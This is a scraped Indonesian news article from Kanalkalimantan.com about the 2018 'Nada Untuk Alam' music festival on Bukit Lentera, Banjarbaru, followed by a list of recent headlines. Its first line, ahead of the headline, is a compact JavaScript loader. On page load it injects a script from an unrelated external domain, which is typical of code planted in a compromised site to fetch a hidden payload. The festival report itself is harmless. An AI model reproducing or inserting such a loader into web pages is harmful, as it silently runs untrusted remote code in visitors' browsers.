(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pecah! Nada Untuk Alam 2018 Hadirkan Musik EDM


BANJARBARU, Panggelaran musik Nada Untuk Alam 2018 “Summer Breakout” sukses memecahkan kerinduan penggemarnya di Bukit Lentera Cempaka Kota Banjarbaru, Sabtu (23/6) malam. Lebih dari sekitar 1.000 orang hadir meramaikan event musik yang diadakan setelah Hari Raya lebaran berakhir ini, baik dari anak muda, orang tua hingga komunitas komunitas yang ada.

Dari pantauan Kanalkalimantan.com terlihat para pengunjung mulai berdatangan sejak sore sekitar pukul 17.00 Wita. Disuguhkan dengan pemadangan sore hari yang belatar belakang suasana Kota Banjarbaru dan pengunungan, pengunjung dihibur dengan lantunan musik merdu dari band-band lokal Banua.

Beberapa pengunjung yang berniat untuk bermalam juga sembari membangun tenda disekitar area panggung karena tidak hanya pengunjung wilayah Banjarbaru saja yang hadir, melainkan dari luar kota hingga diluar provinsi Kalsel. Panitia dari Morning Media Creative juga turut menyediakan fasilitas berupa WC, Tempat Sholat dan Bazzar makanan untuk membuat para pengunjung tidak kebingungan mencari sarana sampai harus turun dari bukit sembari menunggu malam puncak Nada Untuk Alam 2018.

Benar saja, animo pengunjung semakin meningkat sekitar pukul 19.00 Wita, dari kendaraaan motor hingga mobil terus berdatangan memenuhi area parkir yang berada di bukit sebelah dari bukit Lentera lokasi utama. Dengan saling bercengkraman dan duduk menikmati lantunan musik, suasana Bukit Lentera semakin terasa nyaman menjelang tengah malam. Panitia juga menyedia souvenir maupun hadiah untuk pengunjung lewat games games lewat sesi tanya jawab yang membuat tidak ada bosannya untuk mengikut acara dari awal hinggal akhir.

Sorakan penonton kian meriah, saat band lokal Mars & Venus naik keatas panggung. Bagaimana tidak, hanya dengan 2 orang personil , perpaduan Seorang perempuan dengan karakter vocal yang menarik dan seorang pemain gitar yang ciamik, membuat suasana yang kian romantis. Dinyalakannya Api unggung juga turut membuat cair nuansa dingin di atas bukit.

Uniknya pada penghunjung acara Nada Untuk Alam 2018, Morning Media Creative menghadirkan Musik EDM yang memiliki genre berbeda dari musik musik yang dihadirkan pada tahun tahun sebelumnya.

Hal ini diungkapkan Ketua Pelaksana, Aris karena mengingat tema yang diambil yaitu Summer Breakout, yang memiliki makna bersenang senang saat liburan. “Kan tidak ada yang salah dengan sedikit bersenang – senang? tahun ini ada musik EDM ya untuk menambah euforia itu sendiri, dan dari awal Morning Art tidak pernah membatasi soal genre musik kok. Kita liat situasi dan kondisi juga” ungkapnya.

Musik EDM yang dibawakan Deny Nugraha yang memiliki karakter nada yang cukup ngebeat dan musik yang menghentak, sontak membuat suasana semakin pecah. Pengunjung yang sebelumnya duduk manis beralaskan kain langsung berdiri dan melompat sembari mengikuti alunan musik DJ yang terdengar di seluruh penjuri bukit Lentera. Tidak tanggung tanggung, pengunjung bahkan maju hingga paling depan panggung dan memenuhi lokasi panggung utama.

Meski terjadi sedikit insiden karena adanya senggolan senggolan kecil yang membuat adanya pertikaian, namun panitia dengan sigap mengondisikan kembali sepeti semula.

Iki, Penanggung Jawab acara mengungkapkan pada kondisi yang meriah tersebut memang rentan terjadi pertikaian karena semuanya mulai kurang bisa dipantau, namun panitia telah memastikan masalah tersebut sudah diselesaikan. “Memang ada insiden kecil karena ada senggolan-senggolan seperti itu, itu sudah biasa kok. Sudah didamaikan, semuanya aman terkendali” ungkapnya.

Suksesnya Nada Untuk Alam 2018, menjadi catatan penting bagi insan musik lokal banua. Andry Ketua Morning Media Creative menjelaskan potensi musik lokal Kalsel tidak akan menurun meskipun event-event musik di Kalimantan Selatan jarang diadakan.

“Ya kita liat ternyata band lokal bisa kok menghibur masyarakat dimanapun tempatnya, Meski saat ini jarang ada event event musik, kami yakin musisi lokal kita punya potensi besar di dunia hiburan” pungkasnya. (Rico)

Reporter: Rico
Editor: Chell

Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

11 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

14 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

18 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

18 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

18 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

20 jam ago

This website uses cookies.